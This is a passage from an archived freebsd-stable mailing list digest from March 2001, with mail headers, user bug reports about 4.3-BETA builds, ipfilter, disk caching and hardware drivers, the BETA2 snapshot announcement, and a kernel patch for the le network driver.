-0800 (PST) (envelope-from tweten@nas.nasa.gov) Received: from floater.nas.nasa.gov (IDENT:iHV2IMcKyilzPT81GjItrLdC+Ka4aLY/@localhost.nas.nasa.gov [127.0.0.1]) by floater.nas.nasa.gov (8.11.3/8.11.3) with ESMTP id f2E1brC25066 for ; Tue, 13 Mar 2001 17:37:53 -0800 (PST) (envelope-from tweten@nas.nasa.gov) Message-Id: <200103140137.f2E1brC25066@floater.nas.nasa.gov> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 Reply-To: tweten@nas.nasa.gov To: freebsd-stable@freebsd.org Subject: Makeworld Fails From: Dave Tweten Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 13 Mar 2001 17:37:50 -0800 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG While trying to build the latest STABLE, this afternoon, using FreeBSD 4.3-BETA (FLOATER) #2: Tue Mar 6 22:17:30 PST 2001 as the build platform, I got the following result: cc -O -pipe -I/usr/src/lib/libpam/libpam/../../../contrib/libpam/libpam/include -I. -DDEFAULT_MODULE_PATH=\"/usr/lib/\" -I/usr/obj/usr/src/i386/usr/include -c /usr/src/lib/libpam/libpam/../../../contrib/libpam/libpam/pam_handlers.c -o pam_handlers.o /usr/src/lib/libpam/libpam/../../../contrib/libpam/libpam/pam_handlers.c:819: unterminated `#ifdef' conditional /usr/src/lib/libpam/libpam/../../../contrib/libpam/libpam/pam_handlers.c: In function `_pam_add_handler': /usr/src/lib/libpam/libpam/../../../contrib/libpam/libpam/pam_handlers.c:578: warning: passing arg 1 of `_pam_open_static_handler' discards qualifiers from pointer target type /usr/src/lib/libpam/libpam/../../../contrib/libpam/libpam/pam_handlers.c: In function `_pam_free_handlers': /usr/src/lib/libpam/libpam/../../../contrib/libpam/libpam/pam_handlers.c:818: syntax error at end of input *** Error code 1 Stop in /usr/src/lib/libpam/libpam. *** Error code 1 Stop in /usr/src/lib/libpam. *** Error code 1 Stop in /usr/src/lib. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. *** Error code 1 Stop in /usr/src. Anybody have any suggestions? -- M/S 258-5 | 1024-bit PGP fingerprint: | tweten@nas.nasa.gov NASA Ames Research Center | 41 B0 89 0A 8F 94 6C 59 | (650) 604-4416 Moffett Field, CA 94035-1000 | 7C 80 10 20 25 C7 2F E6 | FAX: (650) 604-4377 We each earn what freedom of speech we defend for those who most offend us. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 18:32:30 2001 Delivered-To: freebsd-stable@freebsd.org Received: from nova.fnal.gov (nova.fnal.gov [131.225.121.207]) by hub.freebsd.org (Postfix) with ESMTP id 22E8D37B719 for ; Tue, 13 Mar 2001 18:32:27 -0800 (PST) (envelope-from zingelman@fnal.gov) Received: from localhost (tez@localhost) by nova.fnal.gov (8.9.3+Sun/8.9.3) with ESMTP id UAA28728 for ; Tue, 13 Mar 2001 20:37:49 -0600 (CST) X-Authentication-Warning: nova.fnal.gov: tez owned process doing -bs Date: Tue, 13 Mar 2001 20:37:49 -0600 (CST) From: Tim Zingelman X-Sender: To: Subject: /etc/default/rc.conf bad default ipfilter_flags? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Running 4.3-Beta, cvsupped early on 3/13/01. These lines are either confusing or wrong. Possibly something has changed in the default state (now enabled?) of the ipfilter module. ipfilter_flags="-E" # should be *empty* when ipf is _not_ a module # (i.e. compiled into the kernel) to # avoid a warning about "already initialized" I load ipf as a module by adding a line to /boot/loader.conf: ipl_load="YES" Running a GENERIC kernel. I have a valid rules file at /etc/ipf.rules I add the following line to /etc/rc.conf: ipfilter_enable="YES" and when I boot I get... from dmesg: IP Filter: v3.4.16 initialized. Default = pass all, Logging = enabled from /var/log/console.log: Mar 13 19:32:59 port /kernel: Doing initial network setup: Mar 13 19:32:59 port /kernel: hostname Mar 13 19:32:59 port /kernel: ipfilter Mar 13 19:32:59 port /kernel: SIOCFRENB: Invalid argument Mar 13 19:32:59 port /kernel: . Mar 13 19:32:59 port /kernel: fxp0: flags=8843 Date: Tue, 13 Mar 2001 19:13:33 -0800 From: Jordan Hubbard X-Dispatcher: imput version 20000228(IM140) Lines: 27 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Since there has been a sudden spate of changes post-BETA (not a huge number, but more than the usual amount in -stable since the freeze) I decided it would be a good idea to roll a BETA2 snapshot, and it's now on: ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/4.3-BETA2/ With: ftp://ftp.freebsd.org/pub/FreeBSD/releases/alpha/4.3-BETA2/ To follow very shortly. To satisfy popular demand, an ISO image for the x86 distribution (without any packages) is also available this time from: ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/ISO-IMAGES/4.3-beta2.iso I just don't have the x86 or alpha packages for "disc1" ready yet so that (very important) part of the testing will have to wait until the Release Candidate image, I'm afraid. Anyway, please test the heck even more out of this one since we're only 12 days away from the final release candidate! :) Thanks, - Jordan To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 19:40:17 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.viasoft.com.cn (unknown [61.153.1.177]) by hub.freebsd.org (Postfix) with ESMTP id E500937B718; Tue, 13 Mar 2001 19:40:05 -0800 (PST) (envelope-from bsddiy@21cn.com) Received: from William ([192.168.1.98]) by mail.viasoft.com.cn (8.9.3/8.9.3) with ESMTP id LAA28445; Wed, 14 Mar 2001 11:35:44 +0800 Date: Wed, 14 Mar 2001 11:46:18 +0800 From: David Xu X-Mailer: The Bat! (v1.48f) Personal Reply-To: David Xu Organization: Viasoft X-Priority: 3 (Normal) Message-ID: <18511348498.20010314114618@viasoft.com.cn> To: Jordan Hubbard Cc: stable@freebsd.org, developers@freebsd.org Subject: Re: New 4.3 BETA (BETA2) release available In-reply-To: <20010313191333C.jkh@osd.bsdi.com> References: <20010313191333C.jkh@osd.bsdi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello Jordan, Wednesday, March 14, 2001, 11:13:33 AM, you wrote: JH> Since there has been a sudden spate of changes post-BETA (not a huge JH> number, but more than the usual amount in -stable since the freeze) JH> I decided it would be a good idea to roll a BETA2 snapshot, and JH> it's now on: JH> ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/4.3-BETA2/ JH> With: JH> ftp://ftp.freebsd.org/pub/FreeBSD/releases/alpha/4.3-BETA2/ JH> To follow very shortly. To satisfy popular demand, an ISO image for JH> the x86 distribution (without any packages) is also available this JH> time from: JH> ftp://ftp.freebsd.org/pub/FreeBSD/releases/i386/ISO-IMAGES/4.3-beta2.iso JH> I just don't have the x86 or alpha packages for "disc1" ready yet so JH> that (very important) part of the testing will have to wait until the JH> Release Candidate image, I'm afraid. JH> Anyway, please test the heck even more out of this one since we're JH> only 12 days away from the final release candidate! :) JH> Thanks, JH> - Jordan Thanks, I would like suggest peoples have patch ready for 4.3 should commit them as soon as possible to let user test them. -- Best regards, David Xu To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 20: 4:33 2001 Delivered-To: freebsd-stable@freebsd.org Received: from grumpy.dyndns.org (user-24-214-76-236.knology.net [24.214.76.236]) by hub.freebsd.org (Postfix) with ESMTP id E013737B718; Tue, 13 Mar 2001 20:04:27 -0800 (PST) (envelope-from dkelly@grumpy.dyndns.org) Received: from localhost (localhost [127.0.0.1]) by grumpy.dyndns.org (8.11.2/8.11.2) with ESMTP id f2E44Ne16415; Tue, 13 Mar 2001 22:04:24 -0600 (CST) (envelope-from dkelly@grumpy.dyndns.org) Message-Id: <200103140404.f2E44Ne16415@grumpy.dyndns.org> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: Pete French Cc: mobile@FreeBSD.ORG, sos@freebsd.dk, stable@FreeBSD.ORG From: David Kelly Subject: Re: Disk I/O problem in 4.3-BETA In-reply-to: Message from Pete French of "Tue, 13 Mar 2001 11:51:11 GMT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Tue, 13 Mar 2001 22:04:23 -0600 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Pete French writes: > All very interesting, but a small point has been forgotten > hasnt it ? The way I read this thread is that until recentlly > write-caching was enabled by default and has now been disabled (hence > the original obseravtion of disc performance dropping). > > I havent noticed that FreeBSD has a bad reputation for loss of data > in the event of am power outage, and my own experience backs this up. > As so many people appear to have been running it this way by default until > now you might have though that if it were a serious problem in reality then > people would have noticed by now ? Well, I am an ex-Linux user who got fed up with Linux trashing my disk 3 times one week. Each time (kernel panics) the damage was bad enough fsck (e2fsck?) deleted a lot of critical files making a wipe/reinstall the fastest way back to a running system. This was shortly after the release of FreeBSD 2.0.0. Remember it well because that is when I became a FreeBSD user. Hmm, probably 6 years ago this month. Have watched Linux from "outside" since then. Noticed I was not the only one losing data. From what I've seen the Linux solution was not to to fix a faulty design but to hack it until it doesn't lose as much. Linux was/is very proud of their ext2fs speed. Clearly at the expense of reliability. Oddly enough that machine got 600k Bytes/sec thruput on Linux, but 900k Bytes/sec on FreeBSD 2.0.0-RELEASE. 240 MB Western Digital IDE drive. IMO the most reliable settings are the correct thing to do in spite of simpleminded magazine authors who will "do a shootout" of Linux vs. FreeBSD using only the stock settings. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 20:10:40 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mukappa.home.com (c576194-a.saltlk1.ut.home.com [65.5.60.246]) by hub.freebsd.org (Postfix) with ESMTP id 644C737B718 for ; Tue, 13 Mar 2001 20:10:36 -0800 (PST) (envelope-from mupi@mknet.org) Received: from mukappa.home.com (localhost.home.com [127.0.0.1]) by mukappa.home.com (8.11.1/8.11.1) with SMTP id f2E45K926594; Tue, 13 Mar 2001 21:05:20 -0700 (MST) (envelope-from mupi@mknet.org) From: Mike Porter Reply-To: mupi@mknet.org To: j mckitrick , Ian Dowse Subject: Re: suspend/restore with ppp connections Date: Tue, 13 Mar 2001 21:05:17 -0700 X-Mailer: KMail [version 1.1.99] Content-Type: text/plain; charset="us-ascii" Cc: Alfred Perlstein , freebsd-stable@FreeBSD.ORG References: <20010312135826.F86948@dogma.freebsd-uk.eu.org> <200103121440.aa97105@salmon.maths.tcd.ie> <20010312145622.A87895@dogma.freebsd-uk.eu.org> In-Reply-To: <20010312145622.A87895@dogma.freebsd-uk.eu.org> MIME-Version: 1.0 Message-Id: <01031321051700.26413@mukappa.home.com> Content-Transfer-Encoding: 8bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 12 March 2001 07:56, j mckitrick wrote: > | The problem is that the card has been reattached, so com->gone is > | 0. However com->tp is NULL because the driver has not seen an open() > | since attachment. It would probably be possible to add a few tests > | for com->tp != NULL in a few places, but sio.c has bigger problems > | in this area. It seems that a struct tty will be leaked for every > | insert/removal too. There is also a missing call to the line > | discipline's l_close function in the forced detach case. > > Now this is the kind of thing I would be interested in helping fix. But if > you say sio has bigger problems, I might be in over my head. What would > happen if I just added those tests for NULL? > Maybe it's just me, but why don't you just add into /etc/rc.suspend code to ring down the ppp connection? (which is more or less what windoze does to get around the pitfalls involved....) mike -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.3 (FreeBSD) Comment: For info see http://www.gnupg.org iEYEARECAAYFAjqu7gAACgkQZ7GovTQbIm7bnwCfddTH2lWmLvKUmo1mxYsefaia jDsAn34931du7dxHyFyuMahq2xFn6C7E =9wXy -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 20:28:52 2001 Delivered-To: freebsd-stable@freebsd.org Received: from www.svzserv.kemerovo.su (www.svzserv.kemerovo.su [213.184.65.80]) by hub.freebsd.org (Postfix) with ESMTP id D4EBA37B71A for ; Tue, 13 Mar 2001 20:28:46 -0800 (PST) (envelope-from eugen@svzserv.kemerovo.su) Received: from svzserv.kemerovo.su (kost.svzserv.kemerovo.su [213.184.65.82]) by www.svzserv.kemerovo.su (8.9.3/8.9.3) with ESMTP id LAA06105; Wed, 14 Mar 2001 11:28:25 +0700 (KRAT) (envelope-from eugen@svzserv.kemerovo.su) Message-ID: <3AAEF366.DCB8A3E3@svzserv.kemerovo.su> Date: Wed, 14 Mar 2001 11:28:22 +0700 From: Eugene Grosbein Organization: SVZServ X-Mailer: Mozilla 4.76 [en] (Win95; U) X-Accept-Language: ru,en MIME-Version: 1.0 To: Jordan Hubbard Cc: stable@FreeBSD.ORG Subject: Re: New 4.3 BETA (BETA2) release available References: <20010313191333C.jkh@osd.bsdi.com> Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Jordan Hubbard wrote: > Anyway, please test the heck even more out of this one since we're > only 12 days away from the final release candidate! :) le nic driver is broken in all 4.x versions. Any chance that kern/25650 will be commited before 4.3-RELEASE? http://www.FreeBSD.org/cgi/query-pr.cgi?pr=25650 Eugene Grosbein To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 21:57: 6 2001 Delivered-To: freebsd-stable@freebsd.org Received: from nnov.pptus.ru (nnov.pptus.ru [194.84.13.94]) by hub.freebsd.org (Postfix) with ESMTP id DDF9F37B718 for ; Tue, 13 Mar 2001 21:57:03 -0800 (PST) (envelope-from valery@nnov.pptus.ru) Received: from nnov.pptus.ru (nnov.pptus.ru [194.84.13.94]) by nnov.pptus.ru (Postfix) with ESMTP id 7E51D9896 for ; Wed, 14 Mar 2001 08:57:30 +0300 (MSK) Message-ID: <3AAF084A.477536DF@nnov.pptus.ru> Date: Wed, 14 Mar 2001 08:57:30 +0300 From: User Valery X-Mailer: Mozilla 4.76 [ru] (X11; U; FreeBSD 3.5.1-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-stable@FreeBSD.org Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 7bit Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 22:28: 5 2001 Delivered-To: freebsd-stable@freebsd.org Received: from prism.flugsvamp.com (cb58709-a.mdsn1.wi.home.com [24.17.241.9]) by hub.freebsd.org (Postfix) with ESMTP id 3CD3637B718; Tue, 13 Mar 2001 22:27:50 -0800 (PST) (envelope-from jlemon@flugsvamp.com) Received: (from jlemon@localhost) by prism.flugsvamp.com (8.11.0/8.11.0) id f2E6Om137753; Wed, 14 Mar 2001 00:24:48 -0600 (CST) (envelope-from jlemon) Date: Wed, 14 Mar 2001 00:24:48 -0600 (CST) From: Jonathan Lemon Message-Id: <200103140624.f2E6Om137753@prism.flugsvamp.com> To: eugen@svzserv.kemerovo.su, stable@freebsd.org, jlemon@freebsd.org, jkh@freebsd.org Subject: Re: New 4.3 BETA (BETA2) release available X-Newsgroups: local.mail.freebsd-stable In-Reply-To: References: Organization: Cc: Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article you write: >Jordan Hubbard wrote: > >> Anyway, please test the heck even more out of this one since we're >> only 12 days away from the final release candidate! :) > >le nic driver is broken in all 4.x versions. Any chance that >kern/25650 will be commited before 4.3-RELEASE? > >http://www.FreeBSD.org/cgi/query-pr.cgi?pr=25650 If someone who has a le card will confirm that the following patch fixes the problem, (I don't have one here), then we should probably be able to get it into 4.3. -- Jonathan Index: if_le.c =================================================================== RCS file: /ncvs/src/sys/i386/isa/if_le.c,v retrieving revision 1.56.2.2 diff -u -r1.56.2.2 if_le.c --- if_le.c 2000/07/17 21:24:30 1.56.2.2 +++ if_le.c 2001/03/14 06:37:37 @@ -73,8 +73,6 @@ typedef u_short le_mcbits_t; #define LE_MC_NBPW_LOG2 4 #define LE_MC_NBPW (1 << LE_MC_NBPW_LOG2) -#define IF_RESET_ARGS int unit -#define LE_RESET(ifp) (((sc)->if_reset)((sc)->le_if.if_unit)) #if !defined(LE_NOLEMAC) /* @@ -193,8 +191,8 @@ */ struct le_softc { struct arpcom le_ac; /* Common Ethernet/ARP Structure */ - void (*if_init) __P((int)); /* Interface init routine */ - void (*if_reset) __P((int)); /* Interface reset routine */ + void (*if_init) __P((le_softc_t *));/* Interface init routine */ + void (*if_reset) __P((le_softc_t *));/* Interface reset routine */ caddr_t le_membase; /* Starting memory address (virtual) */ unsigned le_iobase; /* Starting I/O base address */ unsigned le_irq; /* Interrupt Request Value */ @@ -448,7 +446,7 @@ break; case SIOCSIFFLAGS: { - (*sc->if_init)(ifp->if_unit); + sc->if_init(sc); break; } @@ -457,7 +455,7 @@ /* * Update multicast listeners */ - (*sc->if_init)(ifp->if_unit); + sc->if_init(sc); error = 0; break; @@ -615,9 +613,9 @@ #define LEMAC_32K_MODE(mbase) (((mbase) >= 0x14) && ((mbase) <= 0x1F)) #define LEMAC_2K_MODE(mbase) ( (mbase) >= 0x40) -static void lemac_init(int unit); +static void lemac_init(le_softc_t *sc); static void lemac_start(struct ifnet *ifp); -static void lemac_reset(IF_RESET_ARGS); +static void lemac_reset(le_softc_t *sc); static void lemac_intr(le_softc_t *sc); static void lemac_rne_intr(le_softc_t *sc); static void lemac_tne_intr(le_softc_t *sc); @@ -694,7 +692,7 @@ sc->le_if.if_start = lemac_start; sc->if_reset = lemac_reset; sc->lemac_memmode = 2; - LE_RESET(sc); + sc->if_reset(sc); if ((sc->le_flags & IFF_UP) == 0) return 0; @@ -723,9 +721,8 @@ */ static void lemac_reset( - IF_RESET_ARGS) + le_softc_t *sc) { - le_softc_t *sc = &le_softc[unit]; int portval, cksum; /* @@ -781,9 +778,8 @@ static void lemac_init( - int unit) + le_softc_t *sc) { - le_softc_t *sc = &le_softc[unit]; int s; if ((sc->le_flags & IFF_UP) == 0) @@ -948,9 +944,9 @@ printf("%s%d: fatal RXD error, attempting recovery\n", sc->le_if.if_name, sc->le_if.if_unit); - LE_RESET(sc); + sc->if_reset(sc); if (sc->le_flags & IFF_UP) { - lemac_init(sc->le_if.if_unit); + lemac_init(sc); return; } @@ -1142,8 +1138,8 @@ static int lance_init_ring(le_softc_t *sc, ln_ring_t *rp, lance_ring_t *ri, unsigned ndescs, unsigned bufoffset, unsigned descoffset); -static void lance_init(int unit); -static void lance_reset(IF_RESET_ARGS); +static void lance_init(le_softc_t *sc); +static void lance_reset(le_softc_t *sc); static void lance_intr(le_softc_t *sc); static int lance_rx_intr(le_softc_t *sc); static void lance_start(struct ifnet *ifp); @@ -1367,7 +1363,7 @@ sc->if_init = lance_init; sc->le_if.if_start = lance_start; DEPCA_WRNICSR(sc, DEPCA_NICSR_SHE | DEPCA_NICSR_ENABINTR); - LE_RESET(sc); + sc->if_reset(sc); LN_STAT(low_txfree = sc->lance_txinfo.ri_max); LN_STAT(low_txheapsize = 0xFFFFFFFF); @@ -1520,9 +1516,8 @@ static void lance_reset( - IF_RESET_ARGS) + le_softc_t *sc) { - le_softc_t *sc = &le_softc[unit]; register int cnt, csr; /* lance_dumpcsrs(sc, "lance_reset: start"); */ @@ -1585,16 +1580,15 @@ static void lance_init( - int unit) + le_softc_t *sc) { - le_softc_t *sc = &le_softc[unit]; lance_ring_t *ri; lance_descinfo_t *di; ln_desc_t desc; LN_STAT(inits++); if (sc->le_if.if_flags & IFF_RUNNING) { - LE_RESET(sc); + sc->if_reset(sc); lance_tx_intr(sc); /* * If we were running, requeue any pending transmits. @@ -1611,7 +1605,7 @@ ri->ri_free++; } } else { - LE_RESET(sc); + sc->if_reset(sc); } /* @@ -1685,14 +1679,14 @@ if (oldcsr & LN_CSR0_MEMERROR) { LN_STAT(memory_errors++); if (oldcsr & (LN_CSR0_RXON|LN_CSR0_TXON)) { - lance_init(sc->le_if.if_unit); + lance_init(sc); return; } } } if ((oldcsr & LN_CSR0_RXINT) && lance_rx_intr(sc)) { - lance_init(sc->le_if.if_unit); + lance_init(sc); return; } @@ -1961,7 +1955,7 @@ LN_STAT(tx_buferror++); sc->le_if.if_oerrors++; if ((desc.d_status & LN_DSTS_TxLATECOLL) == 0) { - lance_init(sc->le_if.if_unit); + lance_init(sc); return 0; } else { LN_STAT(tx_late_collisions++); To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 23: 4:52 2001 Delivered-To: freebsd-stable@freebsd.org Received: from chmod.ath.cx (CC2-1242.charter-stl.com [24.217.116.226]) by hub.freebsd.org (Postfix) with ESMTP id 4B32237B718 for ; Tue, 13 Mar 2001 23:04:50 -0800 (PST) (envelope-from ajh3@chmod.ath.cx) Received: by chmod.ath.cx (Postfix, from userid 1001) id 7599EA82A; Wed, 14 Mar 2001 01:04:36 -0600 (CST) Date: Wed, 14 Mar 2001 01:04:36 -0600 From: Andrew Hesford To: FreeBSD-stable Subject: Multihead XFree86 Message-ID: <20010314010436.A2172@cec.wustl.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i X-Loop: Andrew Hesford Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hello. XFree86 4.0.x is... buggy... with my i810. 4.0.2 starts up fine, but after switching consoles, and going back, the video is garbled and I must reboot to fix it. I still have keyboard functionality, since ctrl+alt+del does what it is supposed to, but the video is gone. 4.0.1 is just crashy, and while I was on an xterm-opening craze to see if I really had more than 31 ptys, I got it to garble my video and reboot itself uncleanly. I want to go back to 3.3.6, but I need help with dual head. I think XFree86 3.3.6 supports the i810, even in FreeBSD. In addition to the i810, I have an ATI Xpert 98, which is a Mach64, definitely supported in 3.3.6. Does anybody know how to configure multihead systems with xfree86 3.3.6? Can I still use the screen/server configuration and the "Rightof", "Leftof", et al., or any other method of making two screens behave as one? Xinerama isn't a concern, since my window manager of choice does not support it. -- Andrew Hesford ajh3@chmod.ath.cx To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 23:16: 7 2001 Delivered-To: freebsd-stable@freebsd.org Received: from mail.ottawa.com (mail.ottawa.com [209.217.94.166]) by hub.freebsd.org (Postfix) with ESMTP id 710CE37B718 for ; Tue, 13 Mar 2001 23:16:03 -0800 (PST) (envelope-from 16414@mail.ottawa.com) Received: (from ottawa@localhost) by mail.ottawa.com (8.9.2-aidan/8.9.2) id CAA04523; Wed, 14 Mar 2001 02:20:47 -0500 (EST) Date: Wed, 14 Mar 2001 02:20:47 -0500 (EST) Message-Id: <200103140720.CAA04523@mail.ottawa.com> To: billik@dstg.sk From: Peter Billik Subject: FWD: Re: [usb-bsd] Re: USB Modems in -stable Cc: , "Daniel O'Connor" , , X-Account: 16414 X-Sender-IP: 194.160.96.1 Mime-Version: 1.0 Content-Type: text/plain Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Mar 13, Gerd Knops wrote: > > Nick Hibma wrote: > > How would you imagine a winmodem to work on USB? You can't push the > > data down that fast I think. > > > Winmodem is probably the wrong term here, but the effects are the > same. There is this annoying trend in modem development: 'Do as little > in hardware as you can get away with, and the rest in software'. Hence > there are some USB modems that are not umodem compatible, because the > manufacturer decided to use a custom protocol to the modem in order to > keeps parts count/hardware cost down. And it catches on because with > modem protocols changing every few months the bulk of the users does > not want to invest much money into a modem. > > Gerd > > > Nick > > > > On Mon, 12 Mar 2001, Gordon Tetlow wrote: > > > > > On Tue, 13 Mar 2001, Daniel O'Connor wrote: > > > > > > > On 13-Mar-01 Gordon Tetlow wrote: > > > > > Just beware not to get a WinModem, otherwise you bought a > > > > > rather expensive paperweight for use in FreeBSD. > > > > > > > > Yeah.. Got any 'known winmodem' names? :) > > > > > > The Mitsubishi is almost certainly a winmodem. The NetComm may not > > > be, but it's hard to tell from the looks of the user manual. > > > > > > -gordon > > > > > > > > > ------------------------ Yahoo! Groups Sponsor > > > ---------------------~-~> Find software faster. Search more than > > > 20,000 software solutions on KnowledgeStorm. Register > > > now and get started. > > > > > > ---------------------------------------------------------------------_-> > > > > > > > > > > > > Your use of Yahoo! Groups is subject to > > > > > > > > > > > > -- > > Qube Software, Ltd. Private: n_hibma@qubesoft.com > > n_hibma@webweaving.org n_hibma@FreeBSD.ORG > > > > > You can unsubscribe from this mailing list at > > > or e-mail n_hibma@freebsd.org. > > > > > You can unsubscribe from this mailing list at > http://lists.inteltec.com/wws/which > or e-mail n_hibma@freebsd.org. > Get your Free email at http://mail.ottawa.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 23:26:58 2001 Delivered-To: freebsd-stable@freebsd.org Received: from cain.gsoft.com.au (genesi.lnk.telstra.net [139.130.136.161]) by hub.freebsd.org (Postfix) with ESMTP id 4BAC337B71B; Tue, 13 Mar 2001 23:26:49 -0800 (PST) (envelope-from doconnor@gsoft.com.au) Received: from cain.gsoft.com.au (doconnor@cain [203.38.152.97]) by cain.gsoft.com.au (8.8.8/8.8.8) with ESMTP id RAA16456; Wed, 14 Mar 2001 17:56:43 +1030 (CST) (envelope-from doconnor@gsoft.com.au) Message-ID: X-Mailer: XFMail 1.4.0 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 Date: Wed, 14 Mar 2001 17:56:43 +1030 (CST) From: "Daniel O'Connor" To: freebsd-stable@freebsd.org Subject: Advansys Weirdness (tm) Cc: freebsd-scsi@freebsd.org, gibbs@freebsd.org Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I got an Advansys 3940UW and thought I had fixed a problem with it.. In previous post to -scsi I thought I had fixed the init error problem but it still happens.. As well as that error I am getting "panic: resource_list_alloc: resource entry is busy" errors when loading KLD's :( Also, the boot probe for adw0 says that the firmware load failed, so it is not attaching. I am hypothesizing that the adw driver doesn't unlock/free something it should in this case, so when another PCI driver kld is loaded the adw is reprobed and tries to do something but bombs. The second time the adw0 line is printed, there is no line which says that the firmware load failed, but I don't know if that's because it suceeded or if it bombs before then. I will get a stack trace soon. --- Daniel O'Connor software and network engineer for Genesis Software - http://www.gsoft.com.au "The nice thing about standards is that there are so many of them to choose from." -- Andrew Tanenbaum To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Tue Mar 13 23:48: 1 2001 Delivered-To: freebsd-stable@freebsd.org Received: from dragon.nuxi.com (trang.nuxi.com [209.152.133.57]) by hub.freebsd.org (Postfix) with ESMTP id 4942537B719; Tue, 13 Mar 2001 23:47:56 -0800 (PST) (envelope-from obrien@NUXI.com) Received: (from obrien@localhost) by dragon.nuxi.com (8.11.3/8.11.1) id f2E7kYF91178; Tue, 13 Mar 2001 23:46:34 -0800 (PST) (envelope-from obrien) Date: Tue, 13 Mar 2001 23:45:12 -0800 From: "David O'Brien" To: stable@freebsd.org, alpha@freebsd.org Subject: Re: New 4.3 BETA (BETA2) release available Message-ID: <20010313234512.A91108@dragon.nuxi.com> Reply-To: obrien@freebsd.org References: <20010313191333C.jkh@osd.bsdi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20010313191333C.jkh@osd.bsdi.com>; from jkh@osd.bsdi.com on Tue, Mar 13, 2001 at 07:13:33PM -0800 X-Operating-System: FreeBSD 5.0-CURRENT Organization: The NUXI BSD group X-Pgp-Rsa-Fingerprint: B7 4D 3E E9 11 39 5F A3 90 76 5D 69 58 D9 98 7A X-Pgp-Rsa-Keyid: 1024/34F9F9D5 Sender: owner-freebsd-stable@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Tue, Mar 13, 2001 at 07:13:33PM -0800, Jordan Hubbard wrote: > Since there has been a sudden spate of changes post-BETA (not a huge > number, but more than the usual amount in -stable since the freeze) > I decided it would be a good idea to roll a BETA2 snapshot, and > it's now on: The Alpha version is now available at ftp://ftp.freebsd.org/pub/FreeBSD/releases/alpha/4.3-BETA-20010313 I'll roll and ISO and copy it up ASAP. -- -- David (obrien@FreeBSD.org) GNU is Not Unix / Linux Is Not UniX To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-stable" in the body of the message From owner-freebsd-stable Wed Mar 14 0: 8:53 2001 Delivered-To: freebsd-stable@freebsd.org Received: from scully.zoominternet.net (scully.zoominternet.net [63.67.120.3]) by hub.freebsd.org (Postfix) with SMTP id A7C0337B71A for ; Wed, 14 Mar 2001 00:08:47 -0800 (PST) (envelope-from dmmiller@cvzoom.net) Received: 